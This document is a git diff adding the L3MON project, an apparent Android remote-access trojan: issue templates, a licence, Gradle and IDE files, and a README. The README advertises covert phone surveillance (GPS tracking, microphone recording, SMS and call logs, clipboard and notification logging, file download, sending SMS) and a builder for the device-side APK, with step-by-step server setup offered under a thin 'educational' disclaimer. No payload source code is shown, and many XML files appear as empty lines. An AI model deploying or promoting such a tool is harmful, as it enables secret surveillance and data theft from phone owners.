diff --git a/.github/ISSUE_TEMPLATE/bug_report.md b/.github/ISSUE_TEMPLATE/bug_report.md
new file mode 100644
index 0000000..d26969e
--- /dev/null
+++ b/.github/ISSUE_TEMPLATE/bug_report.md
@@ -0,0 +1,41 @@
+---
+name: Bug report
+about: Create a report to help us improve
+title: ''
+labels: bug
+assignees: ''
+
+---
+
+**This is an issue with the**
+- [x] Server
+- [ ] Client
+- [ ] Other
+
+**Describe the bug**
+A clear and concise description of what the bug is.
+
+**To Reproduce**
+Steps to reproduce the behavior:
+1. Go to '...'
+2. Click on '....'
+3. See error
+
+**Expected behavior**
+A clear and concise description of what you expected to happen.
+
+**Screenshots**
+If applicable, add screenshots to help explain your problem.
+
+**Server Issue (please complete the following information):**
+ - OS: [e.g. Linux, Windows]
+ - OS Version: [e.g. Ubuntu, Windows 10]
+ - Browser: [e.g. chrome, safari]
+
+**Client Issue:**
+ - Android Version: [e.g. Android 8]
+
+**Checklist**
+ - [ ] Is this really an issue?
+ - [ ] Have I looked at previous issues to see if this has already been addressed?
+ - [ ] Have I used some initiative to try and solve the issue myself?
diff --git a/.github/ISSUE_TEMPLATE/feature_request.md b/.github/ISSUE_TEMPLATE/feature_request.md
new file mode 100644
index 0000000..adc97e3
--- /dev/null
+++ b/.github/ISSUE_TEMPLATE/feature_request.md
@@ -0,0 +1,20 @@
+---
+name: Feature request
+about: Suggest an idea for this project
+title: ''
+labels: Feature Request
+assignees: ''
+
+---
+
+**Is your feature request related to a problem? Please describe.**
+A clear and concise description of what the problem is. Ex. I'm always frustrated when [...]
+
+**Describe the solution you'd like**
+A clear and concise description of what you want to happen.
+
+**Describe alternatives you've considered**
+A clear and concise description of any alternative solutions or features you've considered.
+
+**Additional context**
+Add any other context or screenshots about the feature request here.
diff --git a/.gitignore b/.gitignore
new file mode 100644
index 0000000..e2af297
--- /dev/null
+++ b/.gitignore
@@ -0,0 +1,12 @@
+logs
+*.log
+npm-debug.log*
+pids
+*.pid
+*.seed
+lib-cov
+coverage
+.grunt
+.lock-wscript
+build/Release
+node_modules
diff --git a/LICENSE.md b/LICENSE.md
new file mode 100644
index 0000000..ea5df88
--- /dev/null
+++ b/LICENSE.md
@@ -0,0 +1,22 @@
+
+The MIT License (MIT)
+
+Copyright (c) 2019 ETechD
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.
diff --git a/README.md b/README.md
index b461b0a..13b2157 100644
--- a/README.md
+++ b/README.md
@@ -1 +1,94 @@
-
THIS PROJECT HAS BEEN DELETED
\ No newline at end of file
+
+
+A cloud based remote android managment suite, powered by NodeJS
+
+
+
+
+## Features
+- GPS Logging
+- Microphone Recording
+- View Contacts
+- SMS Logs
+- Send SMS
+- Call Logs
+- View Installed Apps
+- View Stub Permissions
+- Live Clipboard Logging
+- Live Notification Logging
+- View WiFi Networks (logs previously seen)
+- File Explorer & Downloader
+- Command Queuing
+- Built In APK Builder
+
+## Prerequisites
+ - Java Runtime Environment 8
+ - See [installation](#Installation) for OS specifics
+ - NodeJs
+ - A Server
+
+## Installation
+1. Install JRE 8 (We cannot stress this enough USE java 1.8.0 ANY issues that dont use this will be closed WITHOUT a response)
+ - Debian, Ubuntu, Etc
+ - `sudo apt-get install openjdk-8-jre`
+ - Fedora, Oracle, Red Hat, etc
+ - `su -c "yum install java-1.8.0-openjdk"`
+ - Windows
+ - click [HERE](https://www.oracle.com/technetwork/java/javase/downloads/jre8-downloads-2133155.html) for downloads
+
+2. Install NodeJS [Instructions Here](https://nodejs.org/en/download/package-manager/) (If you can't figure this out, you shouldn't really be using this)
+
+3. install PM2
+ - `npm install pm2 -g`
+
+4. Download and Extract the latest release from [HERE](https://github.com/D3VL/L3MON/releases/)
+
+5. In the extracted folder, run these commands
+ - `npm install` <- install dependencies
+ - `pm2 start index.js` <-- start the script
+ - `pm2 startup` <- to run L3MON on startup
+
+6. Set a Username & Password
+ 1. Stop L3MON `pm2 stop index`
+ 2. Open `maindb.json` in a text editor
+ 3. under `admin`
+ - set the `username` as plain text
+ - set the `password` as a LOWERCASE MD5 hash
+ 4. save the file
+ 5. run `pm2 restart all`
+
+7. in your browser navigate to `http://:22533`
+
+It's recommended to run L3MON behind a reverse proxy such as [NGINX](https://www.nginx.com/resources/wiki/start/topics/tutorials/install/)
+
+## Notes
+When opening an issue, you **MUST** use the provided templates. Issues without this will not recieve support quickly and will be put to the bottom of the figurative pile.
+
+Please have a look through the current issues, open and closed to see if your issue has been addressed before. If it's java related, it's most definitely been addressed - In short Use Java 1.8.0
+
+## Screenshots
+| | | |
+|:-------------------------:|:-------------------------:|:-------------------------:|
+| Call Log | APK Builder | Clipboard Log ||
+ Contacts | Devices | File Explorer ||
+ GPS Log | SMS Log | Send SMS ||
+ Installed Apps | Microphone | Notifications ||
+ Event Log | Login | WiFi Manager |
+
+## Thanks
+L3MON Builds off and utilizes serveral opensource softwares, Without these, L3MON Wouldn't be what it is!
+ - Inspiration for the project and the basic building blocks for the Android App are based off [AhMyth](https://github.com/AhMyth/AhMyth-Android-RAT)
+ - [express](https://github.com/expressjs/express)
+ - [node-geoip](https://github.com/bluesmoon/node-geoip)
+ - [lowdb](https://github.com/typicode/lowdb)
+ - [socket.io](https://github.com/socketio/socket.io)
+ - [Open Street Map](https://www.openstreetmap.org)
+ - [Leaflet](https://leafletjs.com/)
+
+## Disclaimer
+D3VL Provides no warranty with this software and will not be responsible for any direct or indirect damage caused due to the usage of this tool.
+L3MON is built for both Educational and Internal use ONLY.
+
+
+Made with ❤️ By D3VL
+v1.1.2
\ No newline at end of file
diff --git a/Screenshots/apk_builder.png b/Screenshots/apk_builder.png
new file mode 100644
index 0000000..b6eb958
Binary files /dev/null and b/Screenshots/apk_builder.png differ
diff --git a/Screenshots/call_log.png b/Screenshots/call_log.png
new file mode 100644
index 0000000..952b32b
Binary files /dev/null and b/Screenshots/call_log.png differ
diff --git a/Screenshots/clipboard.png b/Screenshots/clipboard.png
new file mode 100644
index 0000000..2fd7fdc
Binary files /dev/null and b/Screenshots/clipboard.png differ
diff --git a/Screenshots/contacts.png b/Screenshots/contacts.png
new file mode 100644
index 0000000..4caaea3
Binary files /dev/null and b/Screenshots/contacts.png differ
diff --git a/Screenshots/devices.png b/Screenshots/devices.png
new file mode 100644
index 0000000..a1bd1eb
Binary files /dev/null and b/Screenshots/devices.png differ
diff --git a/Screenshots/downloads.png b/Screenshots/downloads.png
new file mode 100644
index 0000000..f6a120b
Binary files /dev/null and b/Screenshots/downloads.png differ
diff --git a/Screenshots/event_log.png b/Screenshots/event_log.png
new file mode 100644
index 0000000..0b13ace
Binary files /dev/null and b/Screenshots/event_log.png differ
diff --git a/Screenshots/file_explorer.png b/Screenshots/file_explorer.png
new file mode 100644
index 0000000..62ab240
Binary files /dev/null and b/Screenshots/file_explorer.png differ
diff --git a/Screenshots/gps_log.png b/Screenshots/gps_log.png
new file mode 100644
index 0000000..72c8433
Binary files /dev/null and b/Screenshots/gps_log.png differ
diff --git a/Screenshots/gps_now.png b/Screenshots/gps_now.png
new file mode 100644
index 0000000..658d5c0
Binary files /dev/null and b/Screenshots/gps_now.png differ
diff --git a/Screenshots/gps_settings.png b/Screenshots/gps_settings.png
new file mode 100644
index 0000000..ad2bb17
Binary files /dev/null and b/Screenshots/gps_settings.png differ
diff --git a/Screenshots/installed_apps.png b/Screenshots/installed_apps.png
new file mode 100644
index 0000000..54fe94c
Binary files /dev/null and b/Screenshots/installed_apps.png differ
diff --git a/Screenshots/login.png b/Screenshots/login.png
new file mode 100644
index 0000000..236b18f
Binary files /dev/null and b/Screenshots/login.png differ
diff --git a/Screenshots/microphone.png b/Screenshots/microphone.png
new file mode 100644
index 0000000..e8b9046
Binary files /dev/null and b/Screenshots/microphone.png differ
diff --git a/Screenshots/notification_log.png b/Screenshots/notification_log.png
new file mode 100644
index 0000000..00fbf1c
Binary files /dev/null and b/Screenshots/notification_log.png differ
diff --git a/Screenshots/permissions.png b/Screenshots/permissions.png
new file mode 100644
index 0000000..25c1735
Binary files /dev/null and b/Screenshots/permissions.png differ
diff --git a/Screenshots/sms_log.png b/Screenshots/sms_log.png
new file mode 100644
index 0000000..8fdcd81
Binary files /dev/null and b/Screenshots/sms_log.png differ
diff --git a/Screenshots/sms_send.png b/Screenshots/sms_send.png
new file mode 100644
index 0000000..13c716f
Binary files /dev/null and b/Screenshots/sms_send.png differ
diff --git a/Screenshots/wifi_manager.png b/Screenshots/wifi_manager.png
new file mode 100644
index 0000000..200869c
Binary files /dev/null and b/Screenshots/wifi_manager.png differ
diff --git a/client/.gradle/5.1.1/executionHistory/executionHistory.bin b/client/.gradle/5.1.1/executionHistory/executionHistory.bin
new file mode 100644
index 0000000..0440715
Binary files /dev/null and b/client/.gradle/5.1.1/executionHistory/executionHistory.bin differ
diff --git a/client/.gradle/5.1.1/executionHistory/executionHistory.lock b/client/.gradle/5.1.1/executionHistory/executionHistory.lock
new file mode 100644
index 0000000..7fb0df8
Binary files /dev/null and b/client/.gradle/5.1.1/executionHistory/executionHistory.lock differ
diff --git a/client/.gradle/5.1.1/fileChanges/last-build.bin b/client/.gradle/5.1.1/fileChanges/last-build.bin
new file mode 100644
index 0000000..f76dd23
Binary files /dev/null and b/client/.gradle/5.1.1/fileChanges/last-build.bin differ
diff --git a/client/.gradle/5.1.1/fileContent/fileContent.lock b/client/.gradle/5.1.1/fileContent/fileContent.lock
new file mode 100644
index 0000000..014ef9c
Binary files /dev/null and b/client/.gradle/5.1.1/fileContent/fileContent.lock differ
diff --git a/client/.gradle/5.1.1/fileHashes/fileHashes.bin b/client/.gradle/5.1.1/fileHashes/fileHashes.bin
new file mode 100644
index 0000000..9b3bc29
Binary files /dev/null and b/client/.gradle/5.1.1/fileHashes/fileHashes.bin differ
diff --git a/client/.gradle/5.1.1/fileHashes/fileHashes.lock b/client/.gradle/5.1.1/fileHashes/fileHashes.lock
new file mode 100644
index 0000000..81139e0
Binary files /dev/null and b/client/.gradle/5.1.1/fileHashes/fileHashes.lock differ
diff --git a/client/.gradle/5.1.1/fileHashes/resourceHashesCache.bin b/client/.gradle/5.1.1/fileHashes/resourceHashesCache.bin
new file mode 100644
index 0000000..2091f9e
Binary files /dev/null and b/client/.gradle/5.1.1/fileHashes/resourceHashesCache.bin differ
diff --git a/client/.gradle/5.1.1/gc.properties b/client/.gradle/5.1.1/gc.properties
new file mode 100644
index 0000000..e69de29
diff --git a/client/.gradle/5.1.1/javaCompile/classAnalysis.bin b/client/.gradle/5.1.1/javaCompile/classAnalysis.bin
new file mode 100644
index 0000000..3839abe
Binary files /dev/null and b/client/.gradle/5.1.1/javaCompile/classAnalysis.bin differ
diff --git a/client/.gradle/5.1.1/javaCompile/javaCompile.lock b/client/.gradle/5.1.1/javaCompile/javaCompile.lock
new file mode 100644
index 0000000..9b851cf
Binary files /dev/null and b/client/.gradle/5.1.1/javaCompile/javaCompile.lock differ
diff --git a/client/.gradle/5.1.1/javaCompile/taskHistory.bin b/client/.gradle/5.1.1/javaCompile/taskHistory.bin
new file mode 100644
index 0000000..b4ff73b
Binary files /dev/null and b/client/.gradle/5.1.1/javaCompile/taskHistory.bin differ
diff --git a/client/.gradle/buildOutputCleanup/buildOutputCleanup.lock b/client/.gradle/buildOutputCleanup/buildOutputCleanup.lock
new file mode 100644
index 0000000..42b0806
Binary files /dev/null and b/client/.gradle/buildOutputCleanup/buildOutputCleanup.lock differ
diff --git a/client/.gradle/buildOutputCleanup/cache.properties b/client/.gradle/buildOutputCleanup/cache.properties
new file mode 100644
index 0000000..84da4a1
--- /dev/null
+++ b/client/.gradle/buildOutputCleanup/cache.properties
@@ -0,0 +1,2 @@
+#Fri Aug 23 22:31:36 BST 2019
+gradle.version=5.1.1
diff --git a/client/.gradle/buildOutputCleanup/outputFiles.bin b/client/.gradle/buildOutputCleanup/outputFiles.bin
new file mode 100644
index 0000000..f7ab18a
Binary files /dev/null and b/client/.gradle/buildOutputCleanup/outputFiles.bin differ
diff --git a/client/.gradle/vcs-1/gc.properties b/client/.gradle/vcs-1/gc.properties
new file mode 100644
index 0000000..e69de29
diff --git a/client/.idea/caches/build_file_checksums.ser b/client/.idea/caches/build_file_checksums.ser
new file mode 100644
index 0000000..572c3c2
Binary files /dev/null and b/client/.idea/caches/build_file_checksums.ser differ
diff --git a/client/.idea/caches/gradle_models.ser b/client/.idea/caches/gradle_models.ser
new file mode 100644
index 0000000..c4e9cf8
Binary files /dev/null and b/client/.idea/caches/gradle_models.ser differ
diff --git a/client/.idea/encodings.xml b/client/.idea/encodings.xml
new file mode 100644
index 0000000..f13fa33
--- /dev/null
+++ b/client/.idea/encodings.xml
@@ -0,0 +1,4 @@
+
+
+
+
\ No newline at end of file
diff --git a/client/.idea/gradle.xml b/client/.idea/gradle.xml
new file mode 100644
index 0000000..f5f1ec4
--- /dev/null
+++ b/client/.idea/gradle.xml
@@ -0,0 +1,15 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/client/.idea/libraries/Gradle__android_arch_core_common_1_1_1_jar.xml b/client/.idea/libraries/Gradle__android_arch_core_common_1_1_1_jar.xml
new file mode 100644
index 0000000..7c9c26a
--- /dev/null
+++ b/client/.idea/libraries/Gradle__android_arch_core_common_1_1_1_jar.xml
@@ -0,0 +1,11 @@
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/client/.idea/libraries/Gradle__android_arch_lifecycle_common_1_1_1_jar.xml b/client/.idea/libraries/Gradle__android_arch_lifecycle_common_1_1_1_jar.xml
new file mode 100644
index 0000000..e3bb0a0
--- /dev/null
+++ b/client/.idea/libraries/Gradle__android_arch_lifecycle_common_1_1_1_jar.xml
@@ -0,0 +1,11 @@
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/client/.idea/libraries/Gradle__android_arch_lifecycle_runtime_1_1_1_aar.xml b/client/.idea/libraries/Gradle__android_arch_lifecycle_runtime_1_1_1_aar.xml
new file mode 100644
index 0000000..2e4d7ad
--- /dev/null
+++ b/client/.idea/libraries/Gradle__android_arch_lifecycle_runtime_1_1_1_aar.xml
@@ -0,0 +1,12 @@
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/client/.idea/libraries/Gradle__com_android_support_collections_28_0_0_jar.xml b/client/.idea/libraries/Gradle__com_android_support_collections_28_0_0_jar.xml
new file mode 100644
index 0000000..11e0095
--- /dev/null
+++ b/client/.idea/libraries/Gradle__com_android_support_collections_28_0_0_jar.xml
@@ -0,0 +1,9 @@
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/client/.idea/libraries/Gradle__com_android_support_support_annotations_28_0_0_jar.xml b/client/.idea/libraries/Gradle__com_android_support_support_annotations_28_0_0_jar.xml
new file mode 100644
index 0000000..e42e057
--- /dev/null
+++ b/client/.idea/libraries/Gradle__com_android_support_support_annotations_28_0_0_jar.xml
@@ -0,0 +1,9 @@
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/client/.idea/libraries/Gradle__com_android_support_support_compat_28_0_0_aar.xml b/client/.idea/libraries/Gradle__com_android_support_support_compat_28_0_0_aar.xml
new file mode 100644
index 0000000..c2c61c0
--- /dev/null
+++ b/client/.idea/libraries/Gradle__com_android_support_support_compat_28_0_0_aar.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/client/.idea/libraries/Gradle__com_android_support_test_espresso_espresso_core_2_2_2_aar.xml b/client/.idea/libraries/Gradle__com_android_support_test_espresso_espresso_core_2_2_2_aar.xml
new file mode 100644
index 0000000..31a7843
--- /dev/null
+++ b/client/.idea/libraries/Gradle__com_android_support_test_espresso_espresso_core_2_2_2_aar.xml
@@ -0,0 +1,12 @@
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/client/.idea/libraries/Gradle__com_android_support_test_espresso_espresso_idling_resource_2_2_2_aar.xml b/client/.idea/libraries/Gradle__com_android_support_test_espresso_espresso_idling_resource_2_2_2_aar.xml
new file mode 100644
index 0000000..ec72fff
--- /dev/null
+++ b/client/.idea/libraries/Gradle__com_android_support_test_espresso_espresso_idling_resource_2_2_2_aar.xml
@@ -0,0 +1,12 @@
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/client/.idea/libraries/Gradle__com_android_support_test_exposed_instrumentation_api_publish_0_5_aar.xml b/client/.idea/libraries/Gradle__com_android_support_test_exposed_instrumentation_api_publish_0_5_aar.xml
new file mode 100644
index 0000000..e6381e4
--- /dev/null
+++ b/client/.idea/libraries/Gradle__com_android_support_test_exposed_instrumentation_api_publish_0_5_aar.xml
@@ -0,0 +1,12 @@
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/client/.idea/libraries/Gradle__com_android_support_test_rules_0_5_aar.xml b/client/.idea/libraries/Gradle__com_android_support_test_rules_0_5_aar.xml
new file mode 100644
index 0000000..ac86aba
--- /dev/null
+++ b/client/.idea/libraries/Gradle__com_android_support_test_rules_0_5_aar.xml
@@ -0,0 +1,15 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/client/.idea/libraries/Gradle__com_android_support_test_runner_0_5_aar.xml b/client/.idea/libraries/Gradle__com_android_support_test_runner_0_5_aar.xml
new file mode 100644
index 0000000..fc4864c
--- /dev/null
+++ b/client/.idea/libraries/Gradle__com_android_support_test_runner_0_5_aar.xml
@@ -0,0 +1,15 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/client/.idea/libraries/Gradle__com_android_support_versionedparcelable_28_0_0_aar.xml b/client/.idea/libraries/Gradle__com_android_support_versionedparcelable_28_0_0_aar.xml
new file mode 100644
index 0000000..e0fdb36
--- /dev/null
+++ b/client/.idea/libraries/Gradle__com_android_support_versionedparcelable_28_0_0_aar.xml
@@ -0,0 +1,10 @@
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/client/.idea/libraries/Gradle__com_google_code_findbugs_jsr305_2_0_1_jar.xml b/client/.idea/libraries/Gradle__com_google_code_findbugs_jsr305_2_0_1_jar.xml
new file mode 100644
index 0000000..8793362
--- /dev/null
+++ b/client/.idea/libraries/Gradle__com_google_code_findbugs_jsr305_2_0_1_jar.xml
@@ -0,0 +1,9 @@
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/client/.idea/libraries/Gradle__com_squareup_javawriter_2_1_1_jar.xml b/client/.idea/libraries/Gradle__com_squareup_javawriter_2_1_1_jar.xml
new file mode 100644
index 0000000..787e8f7
--- /dev/null
+++ b/client/.idea/libraries/Gradle__com_squareup_javawriter_2_1_1_jar.xml
@@ -0,0 +1,11 @@
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/client/.idea/libraries/Gradle__com_squareup_okhttp3_okhttp_3_5_0_jar.xml b/client/.idea/libraries/Gradle__com_squareup_okhttp3_okhttp_3_5_0_jar.xml
new file mode 100644
index 0000000..5f36b7a
--- /dev/null
+++ b/client/.idea/libraries/Gradle__com_squareup_okhttp3_okhttp_3_5_0_jar.xml
@@ -0,0 +1,11 @@
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/client/.idea/libraries/Gradle__com_squareup_okio_okio_1_11_0_jar.xml b/client/.idea/libraries/Gradle__com_squareup_okio_okio_1_11_0_jar.xml
new file mode 100644
index 0000000..4b53e0a
--- /dev/null
+++ b/client/.idea/libraries/Gradle__com_squareup_okio_okio_1_11_0_jar.xml
@@ -0,0 +1,11 @@
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/client/.idea/libraries/Gradle__io_socket_engine_io_client_0_8_3_jar.xml b/client/.idea/libraries/Gradle__io_socket_engine_io_client_0_8_3_jar.xml
new file mode 100644
index 0000000..47c70ba
--- /dev/null
+++ b/client/.idea/libraries/Gradle__io_socket_engine_io_client_0_8_3_jar.xml
@@ -0,0 +1,11 @@
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/client/.idea/libraries/Gradle__io_socket_socket_io_client_0_8_3_jar.xml b/client/.idea/libraries/Gradle__io_socket_socket_io_client_0_8_3_jar.xml
new file mode 100644
index 0000000..2f6e776
--- /dev/null
+++ b/client/.idea/libraries/Gradle__io_socket_socket_io_client_0_8_3_jar.xml
@@ -0,0 +1,11 @@
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/client/.idea/libraries/Gradle__javax_annotation_javax_annotation_api_1_2_jar.xml b/client/.idea/libraries/Gradle__javax_annotation_javax_annotation_api_1_2_jar.xml
new file mode 100644
index 0000000..834e8f2
--- /dev/null
+++ b/client/.idea/libraries/Gradle__javax_annotation_javax_annotation_api_1_2_jar.xml
@@ -0,0 +1,11 @@
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/client/.idea/libraries/Gradle__javax_inject_javax_inject_1_jar.xml b/client/.idea/libraries/Gradle__javax_inject_javax_inject_1_jar.xml
new file mode 100644
index 0000000..761f28f
--- /dev/null
+++ b/client/.idea/libraries/Gradle__javax_inject_javax_inject_1_jar.xml
@@ -0,0 +1,11 @@
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/client/.idea/libraries/Gradle__junit_junit_4_12_jar.xml b/client/.idea/libraries/Gradle__junit_junit_4_12_jar.xml
new file mode 100644
index 0000000..9d5b63d
--- /dev/null
+++ b/client/.idea/libraries/Gradle__junit_junit_4_12_jar.xml
@@ -0,0 +1,11 @@
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/client/.idea/libraries/Gradle__org_hamcrest_hamcrest_core_1_3_jar.xml b/client/.idea/libraries/Gradle__org_hamcrest_hamcrest_core_1_3_jar.xml
new file mode 100644
index 0000000..5e35c65
--- /dev/null
+++ b/client/.idea/libraries/Gradle__org_hamcrest_hamcrest_core_1_3_jar.xml
@@ -0,0 +1,11 @@
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/client/.idea/libraries/Gradle__org_hamcrest_hamcrest_integration_1_3_jar.xml b/client/.idea/libraries/Gradle__org_hamcrest_hamcrest_integration_1_3_jar.xml
new file mode 100644
index 0000000..b3ceb50
--- /dev/null
+++ b/client/.idea/libraries/Gradle__org_hamcrest_hamcrest_integration_1_3_jar.xml
@@ -0,0 +1,11 @@
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/client/.idea/libraries/Gradle__org_hamcrest_hamcrest_library_1_3_jar.xml b/client/.idea/libraries/Gradle__org_hamcrest_hamcrest_library_1_3_jar.xml
new file mode 100644
index 0000000..aeb99b3
--- /dev/null
+++ b/client/.idea/libraries/Gradle__org_hamcrest_hamcrest_library_1_3_jar.xml
@@ -0,0 +1,11 @@
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/client/.idea/misc.xml b/client/.idea/misc.xml
new file mode 100644
index 0000000..f797995
--- /dev/null
+++ b/client/.idea/misc.xml
@@ -0,0 +1,9 @@
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/client/.idea/modules.xml b/client/.idea/modules.xml
new file mode 100644
index 0000000..17df662
--- /dev/null
+++ b/client/.idea/modules.xml
@@ -0,0 +1,9 @@
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/client/.idea/runConfigurations.xml b/client/.idea/runConfigurations.xml
new file mode 100644
index 0000000..9b770a6
--- /dev/null
+++ b/client/.idea/runConfigurations.xml
@@ -0,0 +1,12 @@
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/client/.idea/workspace.xml b/client/.idea/workspace.xml
new file mode 100644
index 0000000..ce9e634
--- /dev/null
+++ b/client/.idea/workspace.xml
@@ -0,0 +1,529 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ io.socket
+ socket.io-client
+ 1.0.0
+ JCenter
+
+
+ 1566851843099
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 1566593319597
+
+
+ 1566593319597
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ file://$PROJECT_DIR$/app/src/main/java/com/etechd/l3mon/CameraManager.java
+ 26
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/client/app/.gitignore b/client/app/.gitignore
new file mode 100644
index 0000000..796b96d
--- /dev/null
+++ b/client/app/.gitignore
@@ -0,0 +1 @@
+/build
diff --git a/client/app/app.iml b/client/app/app.iml
new file mode 100644
index 0000000..5913d3d
--- /dev/null
+++ b/client/app/app.iml
@@ -0,0 +1,137 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ generateDebugSources
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/client/app/build.gradle b/client/app/build.gradle
new file mode 100644
index 0000000..42dd57b
--- /dev/null
+++ b/client/app/build.gradle
@@ -0,0 +1,27 @@
+apply plugin: 'com.android.application'
+
+android {
+ compileSdkVersion 24
+ buildToolsVersion '25.0.0'
+ defaultConfig {
+ applicationId 'com.etechd.l3mon'
+ minSdkVersion 11
+ targetSdkVersion 24
+ versionCode 1
+ versionName "1.0"
+ }
+ buildTypes {
+ release {
+ minifyEnabled false
+ proguardFiles getDefaultProguardFile('proguard-android.txt'), 'proguard-rules.pro'
+ }
+ }
+}
+
+dependencies {
+ implementation fileTree(dir: 'libs', include: ['*.jar'])
+ implementation ('io.socket:socket.io-client:0.8.3') {
+ // excluding org.json which is provided by Android
+ exclude group: 'org.json', module: 'json'
+ }
+}
diff --git a/client/app/proguard-rules.pro b/client/app/proguard-rules.pro
new file mode 100644
index 0000000..66f9ffa
--- /dev/null
+++ b/client/app/proguard-rules.pro
@@ -0,0 +1,17 @@
+# Add project specific ProGuard rules here.
+# By default, the flags in this file are appended to flags specified
+# in /home/king/Android/Sdk/tools/proguard/proguard-android.txt
+# You can edit the include path and order by changing the proguardFiles
+# directive in build.gradle.
+#
+# For more details, see
+# http://developer.android.com/guide/developing/tools/proguard.html
+
+# Add any project specific keep options here:
+
+# If your project uses WebView with JS, uncomment the following
+# and specify the fully qualified class name to the JavaScript interface
+# class:
+#-keepclassmembers class fqcn.of.javascript.interface.for.webview {
+# public *;
+#}
diff --git a/client/app/src/main/AndroidManifest.xml b/client/app/src/main/AndroidManifest.xml
new file mode 100644
index 0000000..176c047
--- /dev/null
+++ b/client/app/src/main/AndroidManifest.xml
@@ -0,0 +1,80 @@
+
+
+
+
+
+
+
+
+
+
